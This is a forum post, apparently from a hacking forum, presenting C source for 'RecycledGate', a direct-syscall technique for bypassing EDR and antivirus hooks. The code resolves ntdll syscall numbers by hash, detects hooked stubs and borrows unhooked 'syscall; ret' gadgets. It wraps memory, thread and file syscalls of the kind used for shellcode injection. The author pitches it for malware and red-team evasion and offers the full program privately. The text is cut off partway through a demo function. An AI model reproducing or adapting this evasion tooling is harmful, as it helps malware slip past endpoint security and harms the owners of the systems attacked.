ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
General

Tutorial RecycledGate EDR/AV bypass technqiue tutorial/showcase

Submitted by Remio at 19-04-2025, 07:18 PM


Tutorial RecycledGate EDR/AV bypass technqiue tutorial/showcase
158 Views
#1
RecycledGate is basically a somwhat advanced syscall execution technique building on Hellsgate,Halosgate, & Tartarusgate. It dynamically resolve the syscall numbers and addresses from ntdll.dll, storing them in a table with hashes and "recycled" gate addresses (syscall; ret sequences). By scanning for JMP instructions, it detect hooked syscalls and searches for unhooked stubs within a defined memory range; This ensures robust and stealthy syscall execution, enhancing EDR evasion and anti-hooking capabilities for malwares red teams operations. 




- Restores 26+ NT syscalls (memory, file, sync, system ops). Add or remove more as youd need.
- Wrapper functions for seamless syscall invocation.
- Hook detection and bypass via recycled gate addresses.
- Supports anti-hooking for red teaming and EDR evasion.
- Customizable for additional syscalls or obfuscation.
- Dynamic syscall number and stub resolution.
- compile in VS2022, x64 as a windows application.

- PM for full program / demo
-Remy.

RecycledGate.c
Code:
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
#include "RecycledGate.h"

// Constants for hook detection
#define SYS_STUB_SIZE 32  // Size to search for instructions in syscall stub
#define UP -32            // Search direction upwards (earlier in memory)
#define DOWN 32          // Search direction downwards (later in memory)

// Add missing definition for FILE_POSITION_INFORMATION
typedef struct _FILE_POSITION_INFORMATION {
    LARGE_INTEGER CurrentByteOffset;
} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION;

// Add missing definition for DIRECTORY_QUERY
#ifndef DIRECTORY_QUERY
#define DIRECTORY_QUERY 0x0001
#endif

/*--------------------------------------------------------------------
  Enhanced syscall table with recycle gate address
--------------------------------------------------------------------*/
typedef struct _RECYCLED_TABLE_ENTRY {
    PVOID  pAddress;
    DWORD64 dwHash;
    WORD    wSystemCall;
    PVOID  pRecycledGate;  // Address of syscall; ret instruction sequence
    BOOL    bHooked;        // Flag to indicate if this syscall is hooked
} RECYCLED_TABLE_ENTRY, * PRECYCLED_TABLE_ENTRY;

typedef struct _RECYCLED_TABLE {
    // Core functions
    RECYCLED_TABLE_ENTRY NtAllocateVirtualMemory;
    RECYCLED_TABLE_ENTRY NtProtectVirtualMemory;
    RECYCLED_TABLE_ENTRY NtCreateThreadEx;
    RECYCLED_TABLE_ENTRY NtWaitForSingleObject;

    // File operations
    RECYCLED_TABLE_ENTRY NtCreateFile;
    RECYCLED_TABLE_ENTRY NtReadFile;
    RECYCLED_TABLE_ENTRY NtWriteFile;
    RECYCLED_TABLE_ENTRY NtClose;
    RECYCLED_TABLE_ENTRY NtSetInformationFile;
    RECYCLED_TABLE_ENTRY NtQueryInformationFile;
    RECYCLED_TABLE_ENTRY NtOpenFile;
    RECYCLED_TABLE_ENTRY NtQueryDirectoryFile;

    // Synchronization
    RECYCLED_TABLE_ENTRY NtCreateMutant;
    RECYCLED_TABLE_ENTRY NtCreateSemaphore;
    RECYCLED_TABLE_ENTRY NtReleaseSemaphore;
    RECYCLED_TABLE_ENTRY NtWaitForMultipleObjects;

    // System operations
    RECYCLED_TABLE_ENTRY NtFreeVirtualMemory;
    RECYCLED_TABLE_ENTRY NtQuerySystemInformation;
    RECYCLED_TABLE_ENTRY NtQueryVolumeInformationFile;
    RECYCLED_TABLE_ENTRY NtQueryAttributesFile;
    RECYCLED_TABLE_ENTRY NtDelayExecution;
    RECYCLED_TABLE_ENTRY NtFsControlFile;
    RECYCLED_TABLE_ENTRY NtDeviceIoControlFile;
    RECYCLED_TABLE_ENTRY NtSetSecurityObject;
    RECYCLED_TABLE_ENTRY NtQueryDirectoryObject;
    RECYCLED_TABLE_ENTRY NtOpenDirectoryObject;
} RECYCLED_TABLE, * PRECYCLED_TABLE;

// Global RECYCLED_TABLE instance
RECYCLED_TABLE g_RecycledTable = { 0 };

// Helper function to initialize an OBJECT_ATTRIBUTES structure
VOID InitializeObjectAttributes(
    POBJECT_ATTRIBUTES InitializedAttributes,
    PUNICODE_STRING ObjectName,
    ULONG Attributes,
    HANDLE RootDirectory,
    PVOID SecurityDescriptor
) {
    InitializedAttributes->Length = sizeof(OBJECT_ATTRIBUTES);
    InitializedAttributes->RootDirectory = RootDirectory;
    InitializedAttributes->Attributes = Attributes;
    InitializedAttributes->ObjectName = ObjectName;
    InitializedAttributes->SecurityDescriptor = SecurityDescriptor;
    InitializedAttributes->SecurityQualityOfService = NULL;
}

// Helper function to initialize a UNICODE_STRING structure
VOID InitializeUnicodeString(
    PUNICODE_STRING DestinationString,
    PWCHAR SourceString
) {
    if (SourceString) {
        DestinationString->Length = (USHORT)(wcslen(SourceString) * sizeof(WCHAR));
        DestinationString->MaximumLength = DestinationString->Length + sizeof(WCHAR);
        DestinationString->Buffer = SourceString;
    }
    else {
        DestinationString->Length = 0;
        DestinationString->MaximumLength = 0;
        DestinationString->Buffer = NULL;
    }
}

// Hash function for comparing function names
DWORD64 HashFunctionName(BYTE* str) {
    DWORD64 hash = 5381;
    INT c;
    while ((c = *str++))
        hash = ((hash << 5) + hash) + c;
    return hash;
}

/*--------------------------------------------------------------------
  Enhanced function to get system call information including gate address
--------------------------------------------------------------------*/
BOOL GetSyscallTableEntry(PRECYCLED_TABLE_ENTRY pTableEntry, LPVOID pModuleBase, DWORD64 dwHash) {
    // Get DOS header
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
    if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }

    // Get NT headers
    PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
    if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }

    // Get the Export Address Table
    PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase +
        pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (pImageExportDirectory == NULL) {
        return FALSE;
    }

    // Get pointer to exported function names, ordinals, and addresses
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
    PWORD pwAddressOfNameOrdinals = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

    // Find the syscall function by hash
    for (DWORD i = 0; i < pImageExportDirectory->NumberOfNames; i++) {
        // Get function name
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[i]);

        // Skip non-Nt functions
        if (pczFunctionName[0] != 'N' || pczFunctionName[1] != 't') {
            continue;
        }

        // Calculate hash and compare
        DWORD64 dwFunctionHash = HashFunctionName((BYTE*)pczFunctionName);
        if (dwFunctionHash == dwHash) {
            // Get function address
            PBYTE pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinals[i]];

            // Store function address and hash
            pTableEntry->pAddress = pFunctionAddress;
            pTableEntry->dwHash = dwFunctionHash;
            pTableEntry->bHooked = FALSE;  // Default to not hooked

            // First, search for syscall number within the function
            BOOL foundSyscall = FALSE;
            PVOID pGate = NULL;

            // Look for syscall number in the first 20 bytes (standard prologue scan)
            for (INT j = 0; j < 20; j++) {
                // Look for 0xB8 (mov eax, <syscall_number>) instruction
                if (pFunctionAddress[j] == 0xB8) {
                    // Get syscall number (next 4 bytes after 0xB8)
                    WORD wSystemCall = *((PWORD)(pFunctionAddress + j + 1));
                    pTableEntry->wSystemCall = wSystemCall;
                    foundSyscall = TRUE;

                    // Now search for the syscall instruction
                    for (INT k = j; k < SYS_STUB_SIZE; k++) {
                        // Check for syscall; ret sequence (0F 05 C3)
                        if (pFunctionAddress[k] == 0x0F &&
                            pFunctionAddress[k + 1] == 0x05 &&
                            pFunctionAddress[k + 2] == 0xC3) {
                            pGate = (PVOID)(pFunctionAddress + k);
                            break;
                        }
                    }

                    break;
                }
            }

            // Check if this function stub is hooked - look for JMP instruction (0xE9)
            for (INT j = 0; j < SYS_STUB_SIZE; j++) {
                if (pFunctionAddress[j] == 0xE9) { // JMP rel32 instruction
                    pTableEntry->bHooked = TRUE;
                    break;
                }
            }

            // If hooked, we need to find an alternate syscall stub
            if (pTableEntry->bHooked) {
                // First try to search in function stubs before this one
                BOOL foundAlternate = FALSE;

                // Search DOWN (functions with higher syscall numbers)
                for (INT offset = 1; offset <= 10; offset++) {
                    PBYTE pAltFunc = pFunctionAddress + (offset * DOWN);

                    // Ensure we're still within ntdll
                    PBYTE pHighestFunc = (PBYTE)pModuleBase +
                        pdwAddressOfFunctions[pwAddressOfNameOrdinals[pImageExportDirectory->NumberOfFunctions - 1]];

                    if (pAltFunc < pHighestFunc) {
                        // Look for syscall; ret pattern
                        for (INT j = 0; j < SYS_STUB_SIZE; j++) {
                            if (pAltFunc[j] == 0x0F &&
                                pAltFunc[j + 1] == 0x05 &&
                                pAltFunc[j + 2] == 0xC3) {
                                pGate = (PVOID)(pAltFunc + j);
                                foundAlternate = TRUE;
                                break;
                            }
                        }

                        if (foundAlternate) break;
                    }
                }

                // If still not found, try UP (functions with lower syscall numbers)
                if (!foundAlternate) {
                    for (INT offset = 1; offset <= 10; offset++) {
                        PBYTE pAltFunc = pFunctionAddress + (offset * UP);

                        // Ensure we're still within ntdll
                        PBYTE pLowestFunc = (PBYTE)pModuleBase +
                            pdwAddressOfFunctions[pwAddressOfNameOrdinals[0]];

                        if (pAltFunc > pLowestFunc) {
                            // Look for syscall; ret pattern
                            for (INT j = 0; j < SYS_STUB_SIZE; j++) {
                                if (pAltFunc[j] == 0x0F &&
                                    pAltFunc[j + 1] == 0x05 &&
                                    pAltFunc[j + 2] == 0xC3) {
                                    pGate = (PVOID)(pAltFunc + j);
                                    foundAlternate = TRUE;
                                    break;
                                }
                            }

                            if (foundAlternate) break;
                        }
                    }
                }
            }

            // Store the syscall gate for later use
            pTableEntry->pRecycledGate = pGate;

            return (foundSyscall && pGate != NULL);
        }
    }

    return FALSE;
}

/*--------------------------------------------------------------------
  Initialize the Recycled Table with all system calls
--------------------------------------------------------------------*/
BOOL InitializeRecycledTable() {
    // Get base address of ntdll.dll
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (hNtdll == NULL) {
        return FALSE;
    }

    // Generate hashes for all functions we need
    DWORD64 dwHashes[] = {
        HashFunctionName((BYTE*)"NtAllocateVirtualMemory"),
        HashFunctionName((BYTE*)"NtProtectVirtualMemory"),
        HashFunctionName((BYTE*)"NtCreateThreadEx"),
        HashFunctionName((BYTE*)"NtWaitForSingleObject"),
        HashFunctionName((BYTE*)"NtCreateFile"),
        HashFunctionName((BYTE*)"NtReadFile"),
        HashFunctionName((BYTE*)"NtWriteFile"),
        HashFunctionName((BYTE*)"NtClose"),
        HashFunctionName((BYTE*)"NtSetInformationFile"),
        HashFunctionName((BYTE*)"NtQueryInformationFile"),
        HashFunctionName((BYTE*)"NtOpenFile"),
        HashFunctionName((BYTE*)"NtQueryDirectoryFile"),
        HashFunctionName((BYTE*)"NtCreateMutant"),
        HashFunctionName((BYTE*)"NtCreateSemaphore"),
        HashFunctionName((BYTE*)"NtReleaseSemaphore"),
        HashFunctionName((BYTE*)"NtWaitForMultipleObjects"),
        HashFunctionName((BYTE*)"NtFreeVirtualMemory"),
        HashFunctionName((BYTE*)"NtQuerySystemInformation"),
        HashFunctionName((BYTE*)"NtQueryVolumeInformationFile"),
        HashFunctionName((BYTE*)"NtQueryAttributesFile"),
        HashFunctionName((BYTE*)"NtDelayExecution"),
        HashFunctionName((BYTE*)"NtFsControlFile"),
        HashFunctionName((BYTE*)"NtDeviceIoControlFile"),
        HashFunctionName((BYTE*)"NtSetSecurityObject"),
        HashFunctionName((BYTE*)"NtQueryDirectoryObject"),
        HashFunctionName((BYTE*)"NtOpenDirectoryObject")
    };

    // Pointers to all RECYCLED_TABLE_ENTRY structures in our RECYCLED_TABLE
    PRECYCLED_TABLE_ENTRY pEntries[] = {
        &g_RecycledTable.NtAllocateVirtualMemory,
        &g_RecycledTable.NtProtectVirtualMemory,
        &g_RecycledTable.NtCreateThreadEx,
        &g_RecycledTable.NtWaitForSingleObject,
        &g_RecycledTable.NtCreateFile,
        &g_RecycledTable.NtReadFile,
        &g_RecycledTable.NtWriteFile,
        &g_RecycledTable.NtClose,
        &g_RecycledTable.NtSetInformationFile,
        &g_RecycledTable.NtQueryInformationFile,
        &g_RecycledTable.NtOpenFile,
        &g_RecycledTable.NtQueryDirectoryFile,
        &g_RecycledTable.NtCreateMutant,
        &g_RecycledTable.NtCreateSemaphore,
        &g_RecycledTable.NtReleaseSemaphore,
        &g_RecycledTable.NtWaitForMultipleObjects,
        &g_RecycledTable.NtFreeVirtualMemory,
        &g_RecycledTable.NtQuerySystemInformation,
        &g_RecycledTable.NtQueryVolumeInformationFile,
        &g_RecycledTable.NtQueryAttributesFile,
        &g_RecycledTable.NtDelayExecution,
        &g_RecycledTable.NtFsControlFile,
        &g_RecycledTable.NtDeviceIoControlFile,
        &g_RecycledTable.NtSetSecurityObject,
        &g_RecycledTable.NtQueryDirectoryObject,
        &g_RecycledTable.NtOpenDirectoryObject
    };

    // Get all system call numbers and gates
    for (INT i = 0; i < sizeof(pEntries) / sizeof(pEntries[0]); i++) {
        if (!GetSyscallTableEntry(pEntries[i], hNtdll, dwHashes[i])) {
            return FALSE;
        }
    }

    return TRUE;
}

/*--------------------------------------------------------------------
  Wrapper functions for system calls using RecycledGate
--------------------------------------------------------------------*/

// NtSetInformationFile wrapper function
NTSTATUS RG_NtSetInformationFile(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass
) {
    RecycledGate(g_RecycledTable.NtSetInformationFile.wSystemCall, g_RecycledTable.NtSetInformationFile.pRecycledGate);
    return RecycledGateDescent(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}

// NtAllocateVirtualMemory wrapper function
NTSTATUS RG_NtAllocateVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect
) {
    RecycledGate(g_RecycledTable.NtAllocateVirtualMemory.wSystemCall, g_RecycledTable.NtAllocateVirtualMemory.pRecycledGate);
    return RecycledGateDescent(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}

// NtProtectVirtualMemory wrapper function
NTSTATUS RG_NtProtectVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
) {
    RecycledGate(g_RecycledTable.NtProtectVirtualMemory.wSystemCall, g_RecycledTable.NtProtectVirtualMemory.pRecycledGate);
    return RecycledGateDescent(ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect);
}

// NtCreateThreadEx wrapper function
NTSTATUS RG_NtCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
) {
    RecycledGate(g_RecycledTable.NtCreateThreadEx.wSystemCall, g_RecycledTable.NtCreateThreadEx.pRecycledGate);
    return RecycledGateDescent(
        ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle,
        StartRoutine, Argument, CreateFlags, ZeroBits,
        StackSize, MaximumStackSize, AttributeList
    );
}

// NtWaitForSingleObject wrapper function
NTSTATUS RG_NtWaitForSingleObject(
    HANDLE Handle,
    BOOLEAN Alertable,
    PLARGE_INTEGER Timeout
) {
    RecycledGate(g_RecycledTable.NtWaitForSingleObject.wSystemCall, g_RecycledTable.NtWaitForSingleObject.pRecycledGate);
    return RecycledGateDescent(Handle, Alertable, Timeout);
}

// NtCreateFile wrapper function
NTSTATUS RG_NtCreateFile(
    PHANDLE FileHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK IoStatusBlock,
    PLARGE_INTEGER AllocationSize,
    ULONG FileAttributes,
    ULONG ShareAccess,
    ULONG CreateDisposition,
    ULONG CreateOptions,
    PVOID EaBuffer,
    ULONG EaLength
) {
    RecycledGate(g_RecycledTable.NtCreateFile.wSystemCall, g_RecycledTable.NtCreateFile.pRecycledGate);
    return RecycledGateDescent(
        FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
        AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
        CreateOptions, EaBuffer, EaLength
    );
}

// NtReadFile wrapper function
NTSTATUS RG_NtReadFile(
    HANDLE FileHandle,
    HANDLE Event,
    PVOID ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    PLARGE_INTEGER ByteOffset,
    PULONG Key
) {
    RecycledGate(g_RecycledTable.NtReadFile.wSystemCall, g_RecycledTable.NtReadFile.pRecycledGate);
    return RecycledGateDescent(
        FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
        Buffer, Length, ByteOffset, Key
    );
}

// NtWriteFile wrapper function
NTSTATUS RG_NtWriteFile(
    HANDLE FileHandle,
    HANDLE Event,
    PVOID ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    PLARGE_INTEGER ByteOffset,
    PULONG Key
) {
    RecycledGate(g_RecycledTable.NtWriteFile.wSystemCall, g_RecycledTable.NtWriteFile.pRecycledGate);
    return RecycledGateDescent(
        FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
        Buffer, Length, ByteOffset, Key
    );
}

// NtClose wrapper function
NTSTATUS RG_NtClose(
    HANDLE Handle
) {
    RecycledGate(g_RecycledTable.NtClose.wSystemCall, g_RecycledTable.NtClose.pRecycledGate);
    return RecycledGateDescent(Handle);
}

// NtFreeVirtualMemory wrapper function
NTSTATUS RG_NtFreeVirtualMemory(
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T RegionSize,
    ULONG FreeType
) {
    RecycledGate(g_RecycledTable.NtFreeVirtualMemory.wSystemCall, g_RecycledTable.NtFreeVirtualMemory.pRecycledGate);
    return RecycledGateDescent(ProcessHandle, BaseAddress, RegionSize, FreeType);
}

// NtQueryInformationFile wrapper function
NTSTATUS RG_NtQueryInformationFile(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass
) {
    RecycledGate(g_RecycledTable.NtQueryInformationFile.wSystemCall, g_RecycledTable.NtQueryInformationFile.pRecycledGate);
    return RecycledGateDescent(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}

// NtOpenFile wrapper function
NTSTATUS RG_NtOpenFile(
    PHANDLE FileHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG ShareAccess,
    ULONG OpenOptions
) {
    RecycledGate(g_RecycledTable.NtOpenFile.wSystemCall, g_RecycledTable.NtOpenFile.pRecycledGate);
    return RecycledGateDescent(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
}

// NtQueryDirectoryFile wrapper function 
NTSTATUS RG_NtQueryDirectoryFile(
    HANDLE FileHandle,
    HANDLE Event,
    PVOID ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass,
    BOOLEAN ReturnSingleEntry,
    PUNICODE_STRING FileName,
    BOOLEAN RestartScan
) {
    RecycledGate(g_RecycledTable.NtQueryDirectoryFile.wSystemCall, g_RecycledTable.NtQueryDirectoryFile.pRecycledGate);
    return RecycledGateDescent(
        FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
        FileInformation, Length, FileInformationClass, ReturnSingleEntry,
        FileName, RestartScan
    );
}

// NtCreateMutant wrapper function
NTSTATUS RG_NtCreateMutant(
    PHANDLE MutantHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    BOOLEAN InitialOwner
) {
    RecycledGate(g_RecycledTable.NtCreateMutant.wSystemCall, g_RecycledTable.NtCreateMutant.pRecycledGate);
    return RecycledGateDescent(MutantHandle, DesiredAccess, ObjectAttributes, InitialOwner);
}

// NtCreateSemaphore wrapper function
NTSTATUS RG_NtCreateSemaphore(
    PHANDLE SemaphoreHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    LONG InitialCount,
    LONG MaximumCount
) {
    RecycledGate(g_RecycledTable.NtCreateSemaphore.wSystemCall, g_RecycledTable.NtCreateSemaphore.pRecycledGate);
    return RecycledGateDescent(SemaphoreHandle, DesiredAccess, ObjectAttributes, InitialCount, MaximumCount);
}

// NtReleaseSemaphore wrapper function
NTSTATUS RG_NtReleaseSemaphore(
    HANDLE SemaphoreHandle,
    LONG ReleaseCount,
    PLONG PreviousCount
) {
    RecycledGate(g_RecycledTable.NtReleaseSemaphore.wSystemCall, g_RecycledTable.NtReleaseSemaphore.pRecycledGate);
    return RecycledGateDescent(SemaphoreHandle, ReleaseCount, PreviousCount);
}

// NtWaitForMultipleObjects wrapper function
NTSTATUS RG_NtWaitForMultipleObjects(
    ULONG Count,
    HANDLE Handles[],
    WAIT_TYPE WaitType,
    BOOLEAN Alertable,
    PLARGE_INTEGER Timeout
) {
    RecycledGate(g_RecycledTable.NtWaitForMultipleObjects.wSystemCall, g_RecycledTable.NtWaitForMultipleObjects.pRecycledGate);
    return RecycledGateDescent(Count, Handles, WaitType, Alertable, Timeout);
}

// NtQuerySystemInformation wrapper function
NTSTATUS RG_NtQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
) {
    RecycledGate(g_RecycledTable.NtQuerySystemInformation.wSystemCall, g_RecycledTable.NtQuerySystemInformation.pRecycledGate);
    return RecycledGateDescent(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}

// NtQueryVolumeInformationFile wrapper function
NTSTATUS RG_NtQueryVolumeInformationFile(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FsInformation,
    ULONG Length,
    FS_INFORMATION_CLASS FsInformationClass
) {
    RecycledGate(g_RecycledTable.NtQueryVolumeInformationFile.wSystemCall, g_RecycledTable.NtQueryVolumeInformationFile.pRecycledGate);
    return RecycledGateDescent(FileHandle, IoStatusBlock, FsInformation, Length, FsInformationClass);
}

// NtQueryAttributesFile wrapper function
NTSTATUS RG_NtQueryAttributesFile(
    POBJECT_ATTRIBUTES ObjectAttributes,
    PFILE_BASIC_INFORMATION FileInformation
) {
    RecycledGate(g_RecycledTable.NtQueryAttributesFile.wSystemCall, g_RecycledTable.NtQueryAttributesFile.pRecycledGate);
    return RecycledGateDescent(ObjectAttributes, FileInformation);
}

// NtDelayExecution wrapper function
NTSTATUS RG_NtDelayExecution(
    BOOLEAN Alertable,
    PLARGE_INTEGER DelayInterval
) {
    RecycledGate(g_RecycledTable.NtDelayExecution.wSystemCall, g_RecycledTable.NtDelayExecution.pRecycledGate);
    return RecycledGateDescent(Alertable, DelayInterval);
}

// NtFsControlFile wrapper function
NTSTATUS RG_NtFsControlFile(
    HANDLE FileHandle,
    HANDLE Event,
    PVOID ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG FsControlCode,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength
) {
    RecycledGate(g_RecycledTable.NtFsControlFile.wSystemCall, g_RecycledTable.NtFsControlFile.pRecycledGate);
    return RecycledGateDescent(
        FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
        FsControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength
    );
}

// NtDeviceIoControlFile wrapper function
NTSTATUS RG_NtDeviceIoControlFile(
    HANDLE FileHandle,
    HANDLE Event,
    PVOID ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG IoControlCode,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength
) {
    RecycledGate(g_RecycledTable.NtDeviceIoControlFile.wSystemCall, g_RecycledTable.NtDeviceIoControlFile.pRecycledGate);
    return RecycledGateDescent(
        FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
        IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength
    );
}

// NtSetSecurityObject wrapper function
NTSTATUS RG_NtSetSecurityObject(
    HANDLE Handle,
    SECURITY_INFORMATION SecurityInformation,
    PSECURITY_DESCRIPTOR SecurityDescriptor
) {
    RecycledGate(g_RecycledTable.NtSetSecurityObject.wSystemCall, g_RecycledTable.NtSetSecurityObject.pRecycledGate);
    return RecycledGateDescent(Handle, SecurityInformation, SecurityDescriptor);
}

// NtQueryDirectoryObject wrapper function
NTSTATUS RG_NtQueryDirectoryObject(
    HANDLE DirectoryHandle,
    PVOID Buffer,
    ULONG Length,
    BOOLEAN ReturnSingleEntry,
    BOOLEAN RestartScan,
    PULONG Context,
    PULONG ReturnLength
) {
    RecycledGate(g_RecycledTable.NtQueryDirectoryObject.wSystemCall, g_RecycledTable.NtQueryDirectoryObject.pRecycledGate);
    return RecycledGateDescent(DirectoryHandle, Buffer, Length, ReturnSingleEntry, RestartScan, Context, ReturnLength);
}

// NtOpenDirectoryObject wrapper function
NTSTATUS RG_NtOpenDirectoryObject(
    PHANDLE DirectoryHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes
) {
    RecycledGate(g_RecycledTable.NtOpenDirectoryObject.wSystemCall, g_RecycledTable.NtOpenDirectoryObject.pRecycledGate);
    return RecycledGateDescent(DirectoryHandle, DesiredAccess, ObjectAttributes);
}

/*--------------------------------------------------------------------
  Enhanced RecycledGate Demo function to test all syscalls
--------------------------------------------------------------------*/
BOOL RecycledGateDemo() {
    // Initialize the Recycled Table
    if (!InitializeRecycledTable()) {
        printf("[!] Failed to initialize RecycledGate table.\n");
        return FALSE;
    }

    printf("[+] RecycledGate table initialized successfully.\n");
    printf("[+] System Call Information:\n");

    // Display system call information including hook detection
    printf("%-30s %-12s %-18s %-10s\n", "Function", "SysCall", "RecycledGate", "Hooked?");
    printf("%-30s %-12s %-18s %-10s\n", "--------", "-------", "------------", "-------");

    // Create an array of all table entries for easier processing
    PRECYCLED_TABLE_ENTRY pEntries[] = {
        &g_RecycledTable.NtAllocateVirtualMemory,
        &g_RecycledTable.NtProtectVirtualMemory,
        &g_RecycledTable.NtCreateThreadEx,
        &g_RecycledTable.NtWaitForSingleObject,
        &g_RecycledTable.NtCreateFile,
        &g_RecycledTable.NtReadFile,
        &g_RecycledTable.NtWriteFile,
        &g_RecycledTable.NtClose,
        &g_RecycledTable.NtSetInformationFile,
        &g_RecycledTable.NtQueryInformationFile,
        &g_RecycledTable.NtOpenFile,
        &g_RecycledTable.NtQueryDirectoryFile,
        &g_RecycledTable.NtCreateMutant,
        &g_RecycledTable.NtCreateSemaphore,
        &g_RecycledTable.NtReleaseSemaphore,
        &g_RecycledTable.NtWaitForMultipleObjects,
        &g_RecycledTable.NtFreeVirtualMemory,
        &g_RecycledTable.NtQuerySystemInformation,
        &g_RecycledTable.NtQueryVolumeInformationFile,
        &g_RecycledTable.NtQueryAttributesFile,
        &g_RecycledTable.NtDelayExecution,
        &g_RecycledTable.NtFsControlFile,
        &g_RecycledTable.NtDeviceIoControlFile,
        &g_RecycledTable.NtSetSecurityObject,
        &g_RecycledTable.NtQueryDirectoryObject,
        &g_RecycledTable.NtOpenDirectoryObject
    };

    // Function names for display
    const char* functionNames[] = {
        "NtAllocateVirtualMemory",
        "NtProtectVirtualMemory",
        "NtCreateThreadEx",
        "NtWaitForSingleObject",
        "NtCreateFile",
        "NtReadFile",
        "NtWriteFile",
        "NtClose",
        "NtSetInformationFile",
        "NtQueryInformationFile",
        "NtOpenFile",
        "NtQueryDirectoryFile",
        "NtCreateMutant",
        "NtCreateSemaphore",
        "NtReleaseSemaphore",
        "NtWaitForMultipleObjects",
        "NtFreeVirtualMemory",
        "NtQuerySystemInformation",
        "NtQueryVolumeInformationFile",
        "NtQueryAttributesFile",
        "NtDelayExecution",
        "NtFsControlFile",
        "NtDeviceIoControlFile",
        "NtSetSecurityObject",
        "NtQueryDirectoryObject",
        "NtOpenDirectoryObject"
    };

    // Print syscall info for all functions
    for (int i = 0; i < sizeof(pEntries) / sizeof(pEntries[0]); i++) {
        printf("%-30s 0x%04x    0x%p    %s\n",
            functionNames[i],
            pEntries[i]->wSystemCall,
            pEntries[i]->pRecycledGate,
            pEntries[i]->bHooked ? "YES" : "NO");
    }

    // Print stats about hooks detected
    int totalHooked = 0;
    for (int i = 0; i < sizeof(pEntries) / sizeof(pEntries[0]); i++) {
        if (pEntries[i]->bHooked) {
            totalHooked++;
        }
    }

    printf("\n[+] Hook statistics:\n");
